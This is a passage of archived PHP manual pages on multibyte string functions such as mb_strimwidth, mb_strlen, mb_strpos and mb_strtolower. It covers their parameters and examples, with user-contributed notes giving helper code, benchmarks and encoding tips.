mb_strcut() works exactly as substr(), but, if the last byte appears to be truncated, it simply omits the character.

When you use
$string = mb_strcut($string, 6);
you can know for sure that strlen($string) <= 6. But no unicode characters will be truncated.

I hope my comment could finally be a simple explanation.
t dot starling at physics dot unimelb dot edu dot au 27-Aug-2004 04:01
What the manual and the first commenter are trying to say is that mb_strcut uses byte offsets, as opposed to mb_substr which uses character offsets.

Both mb_strcut and mb_substr appear to treat negative and out-of-range offsets and lengths in the basically the same way as substr. An exception is that if start is too large, an empty string will be returned rather than FALSE. Testing indicates that mb_strcut first works out start and end byte offsets, then moves each offset left to the nearest character boundary.
oyag02 at yahoo dot co dot jp 26-Sep-2003 03:53
diffrence between mb_substr and mb_substr

example:
mb_strcut('I_ROHA', 1, 2) returns 'I_'. Treated as byte stream.
mb_substr('I_ROHA', 1, 2) returns 'ROHA' Treated as character stream.

# 'I_' 'RO' 'HA' means multi-byte character
mb_split
mb_strimwidth
Multibyte String Functions


Get truncated string with specified width

mb_strcut
mb_stripos
Multibyte String Functions
PHP Manual

mb_strimwidth

(PHP 4 >= 4.0.6, PHP 5)

mb_strimwidth — Get truncated string with specified width

Description

string mb_strimwidth ( string $str , int $start , int $width [, string $trimmarker [, string $encoding ]] )

Truncates string str to specified width.

Parameters

str

The string being decoded.

start

The start position offset. Number of characters from the beginning of string. (First character is 0)

width

The width of the desired trim.

trimmarker

A string that is added to the end of string when string is truncated.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

The truncated string. If trimmarker is set, trimmarker is appended to the return value.

Examples

Example #1 mb_strimwidth() example

<?php
echo mb_strimwidth("Hello World", 0, 10, "...");
// outputs Hello W...
?>

See Also

  • mb_strwidth() - Return width of string
  • mb_internal_encoding() - Set/Get internal character encoding

User Contributed Notes

CBieser 26-Aug-2008 12:50
<?php
function strimwidthCenter( $value, $length = 40 ) {
    $valueEncoding = mb_detect_encoding( $value, 'auto', true );
    if ( $length >= mb_strwidth( $value, $valueEncoding ) ) {
        return $value;
    }
    $limited = '';
    $firstWidth = ceil( $length/2 );
    $secondStart = mb_strwidth( $value, $valueEncoding ) - ( $length - $firstWidth );
    $secondWidth = $length - $firstWidth +1;
    $limited = mb_strimwidth( $value, 0, $firstWidth, '...', $valueEncoding ) . mb_substr( $value, $secondStart, $secondWidth, $valueEncoding );
    return $limited;
}
?>
josiah dot ritchie at gmail dot com 13-Sep-2007 11:48
While having the option to append a string to the end is nice, you can run into the problem of having a space between the append if the width is truncated after a space. I find something like this to be more attractive in the output, although messy in the code.

rtrim(mb_strimwidth($string, 0, 24))."..."
mb_strcut
mb_stripos
Multibyte String Functions


Finds position of first occurrence of a string within another, case insensitive

mb_strimwidth
mb_stristr
Multibyte String Functions
PHP Manual

mb_stripos

(PHP 5 >= 5.2.0)

mb_stripos — Finds position of first occurrence of a string within another, case insensitive

Description

int mb_stripos ( string $haystack , string $needle [, int $offset [, string $encoding ]] )

mb_stripos() returns the numeric position of the first occurrence of needle in the haystack string. Unlike mb_strpos(), mb_stripos() is case-insensitive. If needle is not found, it returns FALSE.

Parameters

haystack

The string from which to get the position of the first occurrence of needle

needle

The string to find in haystack

offset

The position in haystack to start searching

encoding

Character encoding name to use. If it is omitted, internal character encoding is used.

Return Values

Return the numeric position of the first occurrence of needle in the haystack string, or FALSE if needle is not found.

See Also

  • stripos() - Find the position of the first occurrence of a case-insensitive substring in a string
  • strpos() - Find the position of the first occurrence of a substring in a string
  • mb_strpos() - Find position of first occurrence of string in a string

User Contributed Notes

There are no user contributed notes for this page.
mb_strimwidth
mb_stristr
Multibyte String Functions


Finds first occurrence of a string within another, case insensitive

mb_stripos
mb_strlen
Multibyte String Functions
PHP Manual

mb_stristr

(PHP 5 >= 5.2.0)

mb_stristr — Finds first occurrence of a string within another, case insensitive

Description

string mb_stristr ( string $haystack , string $needle [, bool $part = false [, string $encoding ]] )

mb_stristr() finds the first occurrence of needle in haystack and returns the portion of haystack. Unlike mb_strstr(), mb_stristr() is case-insensitive. If needle is not found, it returns FALSE.

Parameters

haystack

The string from which to get the first occurrence of needle

needle

The string to find in haystack

part

Determines which portion of haystack this function returns. If set to TRUE, it returns all of haystack from the beginning to the first occurrence of needle. If set to FALSE, it returns all of haystack from the first occurrence of needle to the end,

encoding

Character encoding name to use. If it is omitted, internal character encoding is used.

Return Values

Returns the portion of haystack, or FALSE if needle is not found.

See Also

  • stristr() - Case-insensitive strstr
  • strstr() - Find the first occurrence of a string
  • mb_strstr() - Finds first occurrence of a string within another

User Contributed Notes

There are no user contributed notes for this page.
mb_stripos
mb_strlen
Multibyte String Functions


Get string length

mb_stristr
mb_strpos
Multibyte String Functions
PHP Manual

mb_strlen

(PHP 4 >= 4.0.6, PHP 5)

mb_strlen — Get string length

Description

int mb_strlen ( string $str [, string $encoding ] )

Gets the length of a string.

Parameters

str

The string being checked for length.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

Returns the number of characters in string str having character encoding encoding. A multi-byte character is counted as 1.

See Also

  • mb_internal_encoding() - Set/Get internal character encoding
  • strlen() - Get string length

User Contributed Notes

Yzmir Ramirez 15-Apr-2011 09:06
If you are unsure about what $encoding can be set to, here's a full list of all the encodings supported by this extension:

http://www.php.net/manual/en/mbstring.supported-encodings.php
Ben 19-Nov-2008 02:59
If you find yourself without the mb string functions and can't easily change it, a quick hack replacement for mb_strlen for utf8 characters is to use a a PCRE regex with utf8 turned on.

$strlen = preg_match_all("/.{1}/us",$utf8string,$dummy);

This is basically an ugly hack which counts all single character matches, and I'd expect it to be painfully slow on large strings.
drake127 12-Aug-2007 08:36
Speed of mb_strlen varies a lot according to specified character set.

If you need length of string in bytes (strlen cannot be trusted anymore because of mbstring.func_overload) you should use <?php mb_strlen($string, '8bit'); ?>.
It's the fastest way (still a way slower than strlen, though) to determine byte length of string. Other single byte character sets (ASCII, ISO-8859-1, ...) are several times slower than 8bit.
koala at example dot com 27-Jul-2007 12:19
Just did a little benchmarking (1.000.000 times with lorem ipsum text) on the mbs functions

especially mb_strtolower and mb_strtoupper are really slow (up to 100 times slower compared to normal functions). Other functions are alike-ish, but sometimes up to 5 times slower.

just be cautious when using mb_ functions in high frequented scripts.

# test runs: 1000000
# benchmarking strlen vs. mb_strlen
# normal strlen: 3.6795361042023 ms, average: 3.6795361042023E-6 ms
# mb_strlen: 5.5934538841248 ms, average: 5.5934538841248E-6 ms
ok 1 - mb_strlen is slower than strlen
# mb_strlen is 1.52 slower than strlen
#
#
# benchmarking strpos vs. mb_strpos
# normal strpos: 5.5523281097412 ms, average: 5.5523281097412E-6 ms
# mb_strlen: 31.180974960327 ms, average: 3.1180974960327E-5 ms
ok 2 - mb_strlen is slower than strlen
# mb_strpos is 5.62 slower than strpos
#
#
# benchmarking substr vs. mb_substr
# normal substr: 3.4437320232391 ms, average: 3.4437320232391E-6 ms
# mb_strlen: 3.5374181270599 ms, average: 3.5374181270599E-6 ms
ok 3 - mb_strlen is slower than strlen
# mb_substr is 1.03 slower than substr
#
#
# benchmarking strtolower vs. mb_strtolower
# normal strtolower: 4.446839094162 ms, average: 4.446839094162E-6 ms
# mb_strlen: 193.44901108742 ms, average: 0.00019344901108742 ms
ok 4 - mb_strlen is slower than strlen
# mb_strtolower is 43.5 slower than strtolower
#
#
# benchmarking strtoupper vs. mb_strtoupper
# normal strtoupper: 3.0210740566254 ms, average: 3.0210740566254E-6 ms
# mb_strlen: 340.71775603294 ms, average: 0.00034071775603294 ms
ok 5 - mb_strlen is slower than strlen
# mb_strtoupper is 112.78 slower than strtoupper
motin at demomusic dot nu 06-Feb-2007 10:12
Thank you Peter Albertsson for presenting that!

After spending more than eight hours tracking down two specific bugs in my mbstring-func_overloaded environment I have learned a very important lesson:

Many developers rely on strlen to give the amount of bytes in a string. While mb-overloading has very many advantages, the most hard-spotted pitfall must be this issue.

Two examples (from the two bugs found earlier):

1. Writing a string to a file:

<?php
$str = "string with utf-8 chars åèä - doo-bee doo-bee dooh";
$fp = fopen($this->_file, "wb");
if ($fp) {
  $len = strlen($str);
  fwrite($fp, $str, $len);
}
?>

PS This is found i the PEAR::Cache_Lite package (Lite.php) - Reported

2. Iterating through a string's characters:

<?php
$str = "string with utf-8 chars åèö - doo-bee doo-bee dooh";
$newStr = "";
for ($i = 0; $i < strlen($str); $i++) {
  $newStr .= $str[$i];
}
?>

Both of these situations will fail to save / store the last characters in $str. This can be very hard to spot and can be especially fatal for say serialized strings, xml etc.

So, try to avoid these situations to support overloaded environments, and remeber Peter Albertssons remark if you find problems under such an environment.
filatei at gmail dot com 12-Aug-2006 10:48
I have been working with some funny html characters lately and due to the nightmare in manipulating them between mysql and php, I got the database column set to utf8, then store characters with html enity "&#7885;" as ọ in the database and set the encoding on php as "utf8".

This is where mb_strlen became more useful than strlen.  While strlen('ọ') gives result as 3, mb_strlen('ọ','UTF-8') gives 1 as expected.

But left(column1,1) in mysql still gives wrong char for a multibyte string.  In the example above, I had to do left(column1,3) to get the correct string from mysql.  I am now about to investigate multibyte manipulation in mysql.
Peter Albertsson 10-Nov-2004 02:21
If you wish to find the byte length of a multi-byte string when you are using mbstring.func_overload 2 and UTF-8 strings, then you can use the following:

mb_strlen($utf8_string, 'latin1');
mb_stristr
mb_strpos
Multibyte String Functions


Find position of first occurrence of string in a string

mb_strlen
mb_strrchr
Multibyte String Functions
PHP Manual

mb_strpos

(PHP 4 >= 4.0.6, PHP 5)

mb_strpos — Find position of first occurrence of string in a string

Description

int mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding ]] )

Finds position of the first occurrence of a string in a string.

Performs a multi-byte safe strpos() operation based on number of characters. The first character's position is 0, the second character position is 1, and so on.

Parameters

haystack

The string being checked.

needle

The string to find in haystack. In contrast with strpos(), numeric values are not applied as the ordinal value of a character.

offset

The search offset. If it is not specified, 0 is used.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

Returns the numeric position of the first occurrence of needle in the haystack string. If needle is not found, it returns FALSE.

See Also

  • mb_internal_encoding() - Set/Get internal character encoding
  • strpos() - Find the position of the first occurrence of a substring in a string

User Contributed Notes

brendel at krumedia dot de 11-Mar-2008 04:42
mb_strpos() used in a loop on a long string may become very slow even if you provide the $offset. Unlike strpos(), mb_strpos() has to skip the number of characters
 every call specified by $offset to get the real byte position used internally. (Whereas strpos can just add the offset.)

If your encoding is UTF-8 and you try to find only single characters with ordinal <= 127 you may still use strpos(), substr(), ... This works cause every byte of a UTF-8 sequence is >= 128.

Greetz maz
zangaru at hotmail dot com 05-Jul-2007 10:42
Hello,

Just replaced strpos() with mb_strpos() and now I am getting following error:

PHP Warning:  mb_strpos() [<a href='function.mb-strpos'>function.mb-strpos</a>]: Empty delimiter

PHP version: 5.2.3
OS: Win XP Prof
Web Server: IIS

I checked your bugs and mentioned that mb_string functions have been fixed as of 5.2.0 but it does not seem to be the case (Bug #39400).

My code:
==============================================

$charOut = mb_substr($tmpStr, $tmpKey[0], 1);
$posOut = mb_strpos($charList, $charOut);
if ($posOut !== FALSE) {
    // do something here
}

==============================================
stestagg at talk21 dot com 05-Aug-2006 05:12
sorry, my previous post had an error.  replace the 1000 with strlen($haystack) to handle strings longer than 1000 chars.

btw. This is an issue with the mbstring functions.  you can't specify the $encoding without specifying a $length, thus this reduces the functionality of mb_substr compared to substr
stestagg at talk21 dot com 04-Aug-2006 09:42
a sample mb_str_replace function:

function mb_str_replace($haystack, $search,$replace, $offset=0,$encoding='auto'){
    $len_sch=mb_strlen($search,$encoding);
    $len_rep=mb_strlen($replace,$encoding);

    while (($offset=mb_strpos($haystack,$search,$offset,$encoding))!==false){
        $haystack=mb_substr($haystack,0,$offset,$encoding)
            .$replace
            .mb_substr($haystack,$offset+$len_sch,1000,$encoding);
        $offset=$offset+$len_rep;
        if ($offset>mb_strlen($haystack,$encoding))break;
    }
    return $haystack;
}
stestagg at talk21 dot com 04-Aug-2006 09:39
It appears that the $offset value is a character count not a byte count.  (This may seem obvious but it isn't explicitly stated)
mb_strlen
mb_strrchr
Multibyte String Functions


Finds the last occurrence of a character in a string within another

mb_strpos
mb_strrichr
Multibyte String Functions
PHP Manual

mb_strrchr

(PHP 5 >= 5.2.0)

mb_strrchr — Finds the last occurrence of a character in a string within another

Description

string mb_strrchr ( string $haystack , string $needle [, bool $part = false [, string $encoding ]] )

mb_strrchr() finds the last occurrence of needle in haystack and returns the portion of haystack. If needle is not found, it returns FALSE.

Parameters

haystack

The string from which to get the last occurrence of needle

needle

The string to find in haystack

part

Determines which portion of haystack this function returns. If set to TRUE, it returns all of haystack from the beginning to the last occurrence of needle. If set to FALSE, it returns all of haystack from the last occurrence of needle to the end,

encoding

Character encoding name to use. If it is omitted, internal character encoding is used.

Return Values

Returns the portion of haystack. or FALSE if needle is not found.

See Also

  • strrchr() - Find the last occurrence of a character in a string
  • mb_strstr() - Finds first occurrence of a string within another
  • mb_strrichr() - Finds the last occurrence of a character in a string within another, case insensitive

User Contributed Notes

There are no user contributed notes for this page.
mb_strpos
mb_strrichr
Multibyte String Functions


Finds the last occurrence of a character in a string within another, case insensitive

mb_strrchr
mb_strripos
Multibyte String Functions
PHP Manual

mb_strrichr

(PHP 5 >= 5.2.0)

mb_strrichr — Finds the last occurrence of a character in a string within another, case insensitive

Description

string mb_strrichr ( string $haystack , string $needle [, bool $part = false [, string $encoding ]] )

mb_strrichr() finds the last occurrence of needle in haystack and returns the portion of haystack. Unlike mb_strrchr(), mb_strrichr() is case-insensitive. If needle is not found, it returns FALSE.

Parameters

haystack

The string from which to get the last occurrence of needle

needle

The string to find in haystack

part

Determines which portion of haystack this function returns. If set to TRUE, it returns all of haystack from the beginning to the last occurrence of needle. If set to FALSE, it returns all of haystack from the last occurrence of needle to the end,

encoding

Character encoding name to use. If it is omitted, internal character encoding is used.

Return Values

Returns the portion of haystack. or FALSE if needle is not found.

See Also

  • mb_stristr() - Finds first occurrence of a string within another, case insensitive
  • mb_strrchr() - Finds the last occurrence of a character in a string within another

User Contributed Notes

code at seanmacdonald dot ca 16-Jul-2008 09:09
for those of us who don't have PHP 5 >= 5.2.0 ::

function get_last_occurance($needle,$haystack){
    $chunk = explode($needle,$haystack);
    foreach ($chunk as $bit) $last_occurance = $bit;
    return $last_occurance;
}
mb_strrchr
mb_strripos
Multibyte String Functions


Finds position of last occurrence of a string within another, case insensitive

mb_strrichr
mb_strrpos
Multibyte String Functions
PHP Manual

mb_strripos

(PHP 5 >= 5.2.0)

mb_strripos — Finds position of last occurrence of a string within another, case insensitive

Description

int mb_strripos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding ]] )

mb_strripos() performs multi-byte safe strripos() operation based on number of characters. needle position is counted from the beginning of haystack. First character's position is 0. Second character position is 1. Unlike mb_strrpos(), mb_strripos() is case-insensitive.

Parameters

haystack

The string from which to get the position of the last occurrence of needle

needle

The string to find in haystack

offset

The position in haystack to start searching

encoding

Character encoding name to use. If it is omitted, internal character encoding is used.

Return Values

Return the numeric position of the last occurrence of needle in the haystack string, or FALSE if needle is not found.

See Also

  • strripos() - Find the position of the last occurrence of a case-insensitive substring in a string
  • strrpos() - Find the position of the last occurrence of a substring in a string
  • mb_strrpos() - Find position of last occurrence of a string in a string

User Contributed Notes

easai 27-May-2010 09:53
Here are Java like startsWith/endsWith implementations in PHP.

<?php
    function startsWith($haystack,$needle)
    {
      $res=FALSE;
      if(mb_strripos($haystack,$needle,0,"utf-8")==0)
         $res= TRUE;
      return $res;
    }

    function endsWith($haystack,$needle)
    {
      $res=FALSE;
      $len=mb_strlen($haystack);
      $pos=$len-mb_strlen($needle);
      if(mb_strripos($haystack,$needle,0,"utf-8")==$pos)
         $res= TRUE;
      return $res;
    }
?>
mb_strrichr
mb_strrpos
Multibyte String Functions


Find position of last occurrence of a string in a string

mb_strripos
mb_strstr
Multibyte String Functions
PHP Manual

mb_strrpos

(PHP 4 >= 4.0.6, PHP 5)

mb_strrpos — Find position of last occurrence of a string in a string

Description

int mb_strrpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding ]] )

Performs a multibyte safe strrpos() operation based on the number of characters. needle position is counted from the beginning of haystack. First character's position is 0. Second character position is 1.

Parameters

haystack

The string being checked, for the last occurrence of needle

needle

The string to find in haystack.

offset
May be specified to begin searching an arbitrary number of characters into the string. Negative values will stop searching at an arbitrary point prior to the end of the string.
encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

Returns the numeric position of the last occurrence of needle in the haystack string. If needle is not found, it returns FALSE.

Changelog

Version | Description
5.2.0 | Added the optional parameter offset.

Notes

Note: The encoding parameter was moved from the third position to the fourth in PHP 5.2.0. For backward compatibility, encoding can be specified as the third parameter, but doing so is deprecated and will be removed in the future.

See Also

  • mb_strpos() - Find position of first occurrence of string in a string
  • mb_internal_encoding() - Set/Get internal character encoding
  • strrpos() - Find the position of the last occurrence of a substring in a string

User Contributed Notes

27-Nov-2005 06:32
mb_strrpos throws a warning if $haystack is empty.
strrpos simply returns FALSE.

This is something to be wary of if overloading the mb functions.
mb_strripos
mb_strstr
Multibyte String Functions


Finds first occurrence of a string within another

mb_strrpos
mb_strtolower
Multibyte String Functions
PHP Manual

mb_strstr

(PHP 5 >= 5.2.0)

mb_strstr — Finds first occurrence of a string within another

Description

string mb_strstr ( string $haystack , string $needle [, bool $part = false [, string $encoding ]] )

mb_strstr() finds the first occurrence of needle in haystack and returns the portion of haystack. If needle is not found, it returns FALSE.

Parameters

haystack

The string from which to get the first occurrence of needle

needle

The string to find in haystack

part

Determines which portion of haystack this function returns. If set to TRUE, it returns all of haystack from the beginning to the first occurrence of needle. If set to FALSE, it returns all of haystack from the first occurrence of needle to the end,

encoding

Character encoding name to use. If it is omitted, internal character encoding is used.

Return Values

Returns the portion of haystack, or FALSE if needle is not found.

See Also

  • stristr() - Case-insensitive strstr
  • strstr() - Find the first occurrence of a string
  • mb_stristr() - Finds first occurrence of a string within another, case insensitive

User Contributed Notes

John from http://fullof.bs/ 16-Jul-2009 09:49
To clarify, if $part is true, the string returned is from index zero up to, but not including, the first character of the matched substring.

<?php echo mb_strstr('abCDef','CD', true); // prints 'ab' ?>
mb_strrpos
mb_strtolower
Multibyte String Functions


Make a string lowercase

mb_strstr
mb_strtoupper
Multibyte String Functions
PHP Manual

mb_strtolower

(PHP 4 >= 4.3.0, PHP 5)

mb_strtolower — Make a string lowercase

Description

string mb_strtolower ( string $str [, string $encoding = mb_internal_encoding() ] )

Returns str with all alphabetic characters converted to lowercase.

Parameters

str

The string being lowercased.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

str with all alphabetic characters converted to lowercase.

Unicode

For more information about the Unicode properties, please see » http://www.unicode.org/unicode/reports/tr21/.

By contrast to strtolower(), 'alphabetic' is determined by the Unicode character properties. Thus the behaviour of this function is not affected by locale settings and it can convert any characters that have 'alphabetic' property, such as A-umlaut (Ä).

Examples

Example #1 mb_strtolower() example

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = mb_strtolower($str);
echo $str; // Prints mary had a little lamb and she loved it so
?>

Example #2 mb_strtolower() example with non-Latin UTF-8 text

<?php
$str = "Τάχιστη αλώπηξ βαφής ψημένη γη, δρασκελίζει υπέρ νωθρού κυνός";
$str = mb_strtolower($str, 'UTF-8');
echo $str; // Prints τάχιστη αλώπηξ βαφής ψημένη γη, δρασκελίζει υπέρ νωθρού κυνός
?>

See Also

  • mb_strtoupper() - Make a string uppercase
  • mb_convert_case() - Perform case folding on a string
  • strtolower() - Make a string lowercase

User Contributed Notes

akniep at linklift dot net 12-Sep-2011 08:42
Please, note that when using with UTF-8 mb_strtolower will only convert upper case characters to lower case which are marked with the Unicode property "Upper case letter" ("Lu"). However, there are also letters such as "Letter numbers" (Unicode property "Nl") that also have lower case and upper case variants. These characters will not be converted be mb_strtolower!

Example:
The Roman letters Ⅰ, Ⅱ, Ⅲ, ..., Ⅿ (UTF-8 code points 8544 through 8559) also exist in their respective lower case variants ⅰ, ⅱ, ⅲ, ..., ⅿ (UTF-8 code points 8560 through 8575) and should, in my opinion, also be converted by mb_strtolower, but they are not!

Big internet-companies (like Google) do match both variants as semantically equal (since the representations only differ in case).

Since I was not finding any proper solution in the internet on how to map all UTF8-strings to their lowercase counterpart in PHP, I offer the following hard-coded extended mb_strtolower function for UTF-8 strings:

The function wraps the existing function mb_strtolower() and additionally replaces uppercase UTF8-characters for which there is a lowercase representation. Since there is no proper Unicode uppercase and lowercase character-table in the internet that I was able to find, I checked the first million UTF8-characters against the Google-search and -KeywordTool and identified the following 78 characters as uppercase-characters, not being replaced by mb_strtolower, but having a UTF8 lowercase counterpart.

<?php

//the numbers in the in-line-comments display the characters' Unicode code-points (CP).
function strtolower_utf8_extended( $utf8_string )
{
    $additional_replacements    = array
        ( "ǅ"    => "ǆ"        //   453 ->   454
        , "ǈ"    => "ǉ"        //   456 ->   457
        , "ǋ"    => "ǌ"        //   459 ->   460
        , "ǲ"    => "ǳ"        //   498 ->   499
        , "Ϸ"    => "ϸ"        //  1015 ->  1016
        , "Ϲ"    => "ϲ"        //  1017 ->  1010
        , "Ϻ"    => "ϻ"        //  1018 ->  1019
        , "ᾈ"    => "ᾀ"        //  8072 ->  8064
        , "ᾉ"    => "ᾁ"        //  8073 ->  8065
        , "ᾊ"    => "ᾂ"        //  8074 ->  8066
        , "ᾋ"    => "ᾃ"        //  8075 ->  8067
        , "ᾌ"    => "ᾄ"        //  8076 ->  8068
        , "ᾍ"    => "ᾅ"        //  8077 ->  8069
        , "ᾎ"    => "ᾆ"        //  8078 ->  8070
        , "ᾏ"    => "ᾇ"        //  8079 ->  8071
        , "ᾘ"    => "ᾐ"        //  8088 ->  8080
        , "ᾙ"    => "ᾑ"        //  8089 ->  8081
        , "ᾚ"    => "ᾒ"        //  8090 ->  8082
        , "ᾛ"    => "ᾓ"        //  8091 ->  8083
        , "ᾜ"    => "ᾔ"        //  8092 ->  8084
        , "ᾝ"    => "ᾕ"        //  8093 ->  8085
        , "ᾞ"    => "ᾖ"        //  8094 ->  8086
        , "ᾟ"    => "ᾗ"        //  8095 ->  8087
        , "ᾨ"    => "ᾠ"        //  8104 ->  8096
        , "ᾩ"    => "ᾡ"        //  8105 ->  8097
        , "ᾪ"    => "ᾢ"        //  8106 ->  8098
        , "ᾫ"    => "ᾣ"        //  8107 ->  8099
        , "ᾬ"    => "ᾤ"        //  8108 ->  8100
        , "ᾭ"    => "ᾥ"        //  8109 ->  8101
        , "ᾮ"    => "ᾦ"        //  8110 ->  8102
        , "ᾯ"    => "ᾧ"        //  8111 ->  8103
        , "ᾼ"    => "ᾳ"        //  8124 ->  8115
        , "ῌ"    => "ῃ"        //  8140 ->  8131
        , "ῼ"    => "ῳ"        //  8188 ->  8179
        , "Ⅰ"    => "ⅰ"        //  8544 ->  8560
        , "Ⅱ"    => "ⅱ"        //  8545 ->  8561
        , "Ⅲ"    => "ⅲ"        //  8546 ->  8562
        , "Ⅳ"    => "ⅳ"        //  8547 ->  8563
        , "Ⅴ"    => "ⅴ"        //  8548 ->  8564
        , "Ⅵ"    => "ⅵ"        //  8549 ->  8565
        , "Ⅶ"    => "ⅶ"        //  8550 ->  8566
        , "Ⅷ"    => "ⅷ"        //  8551 ->  8567
        , "Ⅸ"    => "ⅸ"        //  8552 ->  8568
        , "Ⅹ"    => "ⅹ"        //  8553 ->  8569
        , "Ⅺ"    => "ⅺ"        //  8554 ->  8570
        , "Ⅻ"    => "ⅻ"        //  8555 ->  8571
        , "Ⅼ"    => "ⅼ"        //  8556 ->  8572
        , "Ⅽ"    => "ⅽ"        //  8557 ->  8573
        , "Ⅾ"    => "ⅾ"        //  8558 ->  8574
        , "Ⅿ"    => "ⅿ"        //  8559 ->  8575
        , "Ⓐ"    => "ⓐ"        //  9398 ->  9424
        , "Ⓑ"    => "ⓑ"        //  9399 ->  9425
        , "Ⓒ"    => "ⓒ"        //  9400 ->  9426
        , "Ⓓ"    => "ⓓ"        //  9401 ->  9427
        , "Ⓔ"    => "ⓔ"        //  9402 ->  9428
        , "Ⓕ"    => "ⓕ"        //  9403 ->  9429
        , "Ⓖ"    => "ⓖ"        //  9404 ->  9430
        , "Ⓗ"    => "ⓗ"        //  9405 ->  9431
        , "Ⓘ"    => "ⓘ"        //  9406 ->  9432
        , "Ⓙ"    => "ⓙ"        //  9407 ->  9433
        , "Ⓚ"    => "ⓚ"        //  9408 ->  9434
        , "Ⓛ"    => "ⓛ"        //  9409 ->  9435
        , "Ⓜ"    => "ⓜ"        //  9410 ->  9436
        , "Ⓝ"    => "ⓝ"        //  9411 ->  9437
        , "Ⓞ"    => "ⓞ"        //  9412 ->  9438
        , "Ⓟ"    => "ⓟ"        //  9413 ->  9439
        , "Ⓠ"    => "ⓠ"        //  9414 ->  9440
        , "Ⓡ"    => "ⓡ"        //  9415 ->  9441
        , "Ⓢ"    => "ⓢ"        //  9416 ->  9442
        , "Ⓣ"    => "ⓣ"        //  9417 ->  9443
        , "Ⓤ"    => "ⓤ"        //  9418 ->  9444
        , "Ⓥ"    => "ⓥ"        //  9419 ->  9445
        , "Ⓦ"    => "ⓦ"        //  9420 ->  9446
        , "Ⓧ"    => "ⓧ"        //  9421 ->  9447
        , "Ⓨ"    => "ⓨ"        //  9422 ->  9448
        , "Ⓩ"    => "ⓩ"        //  9423 ->  9449
        , "𐐦"    => "𐑎"        // 66598 -> 66638
        , "𐐧"    => "𐑏"        // 66599 -> 66639
        );

    $utf8_string    = mb_strtolower( $utf8_string, "UTF-8");

    $utf8_string    = strtr( $utf8_string, $additional_replacements );

    return $utf8_string;
} //strtolower_utf8_extended()

?>
Ken Shiro 31-Jul-2010 02:07
[If you get this error:]
Fatal error: Call to undefined function: mb_strtolower() in ????.php on line ??

The PHP mbstring extension, which is required to handle international character sets, is not available on your server. Check your PHP configuration and make sure that PHP has been compiled with --enable-mbstring.

It's also apply to
Call to undefined function mb_eregi() / mb_strtolower()
Philipp H 01-Nov-2007 10:11
Note that mb_strtolower() is very SLOW, if you have a database connection, you may want to use it to convert your strings to lower case. Even latin1/9 (iso-8859-1/15) and other encodings are possible.

Have a look at my simple benchmark:

<?php

$text = "Lörem ipßüm dölör ßit ämet, cönßectetüer ädipißcing elit. Sed ligülä. Präeßent jüßtö tellüß, grävidä eü, tempüß ä, mättiß nön, örci. Näm qüiß lörem. Näm äliqüet elit ßed elit. Phäßellüß venenätiß jüßtö eget enim. Dönec nißl. Pröin mättiß venenätiß jüßtö. Sed äliqüäm pörtä örci. Cräß elit nißl, cönvälliß qüiß, tincidünt ät, vehicülä äccümßän, ödiö. Sed möleßtie. Etiäm mölliß feügiät elit. Veßtibülüm änte ipßüm primiß in fäücibüß örci lüctüß et ültriceß pößüere cübiliä Cüräe; Mäecenäß nön nüllä.";

// mb_strtolower()
$timeMB = microtime(true);

    for($i=0;$i<30000;$i++)
        $lower = mb_strtolower("$text/no-cache-$i");

$timeMB = microtime(true) - $timeMB;

// MySQL lower()
$timeSQL = microtime(true);

    mysql_query("set names latin1");
    for($i=0;$i<30000;$i++) {
        $r = mysql_fetch_row(mysql_query("select lower('$text/no-cache-$i')"));
        $lower = $r[0];
    }

$timeSQL = microtime(true) - $timeSQL;

echo "mb: ".sprintf("%.5f",$timeMB)." sek.<br />";
echo "sql: ".sprintf("%.5f",$timeSQL)." sek.<br />";

// Result on my notebook:
// mb: 11.50642 sek.
// sql: 5.44143 sek.

?>
btherl at yahoo dot com dot au 15-Nov-2005 09:12
If you use this function on a unicode string without telling PHP that it is unicode, then you will corrupt your string.  In particular, the uppercase 'A' with tilde, common in 2-byte UTF-8 characters, is converted to lowercase 'a' with tilde.

This can be handled correctly by:
$str = mb_strtolower($str, mb_detect_encoding($str));

Or if you know your data is UTF-8, just use the string "UTF-8" as the second argument.

You should check also that mb_detect_encoding() is checking the encodings you want it to check, and is detecting the correct encodings.
mb_strstr
mb_strtoupper
Multibyte String Functions


Make a string uppercase

mb_strtolower
mb_strwidth
Multibyte String Functions
PHP Manual

mb_strtoupper

(PHP 4 >= 4.3.0, PHP 5)

mb_strtoupper — Make a string uppercase

Description

string mb_strtoupper ( string $str [, string $encoding = mb_internal_encoding() ] )

Returns str with all alphabetic characters converted to uppercase.

Parameters

str

The string being uppercased.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

str with all alphabetic characters converted to uppercase.

Unicode

For more information about the Unicode properties, please see » http://www.unicode.org/unicode/reports/tr21/.

By contrast to strtoupper(), 'alphabetic' is determined by the Unicode character properties. Thus the behaviour of this function is not affected by locale settings and it can convert any characters that have 'alphabetic' property, such as a-umlaut (ä).

Examples

Example #1 mb_strtoupper() example

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = mb_strtoupper($str);
echo $str; // Prints MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
?>

Example #2 mb_strtoupper() example with non-Latin UTF-8 text

<?php
$str = "Τάχιστη αλώπηξ βαφής ψημένη γη, δρασκελίζει υπέρ νωθρού κυνός";
$str = mb_strtoupper($str, 'UTF-8');
echo $str; // Prints ΤΆΧΙΣΤΗ ΑΛΏΠΗΞ ΒΑΦΉΣ ΨΗΜΈΝΗ ΓΗ, ΔΡΑΣΚΕΛΊΖΕΙ ΥΠΈΡ ΝΩΘΡΟΎ ΚΥΝΌΣ
?>

See Also

  • mb_strtolower() - Make a string lowercase
  • mb_convert_case() - Perform case folding on a string
  • strtoupper() - Make a string uppercase

User Contributed Notes

tomasz at trejderowski dot pl 29-Dec-2010 05:01
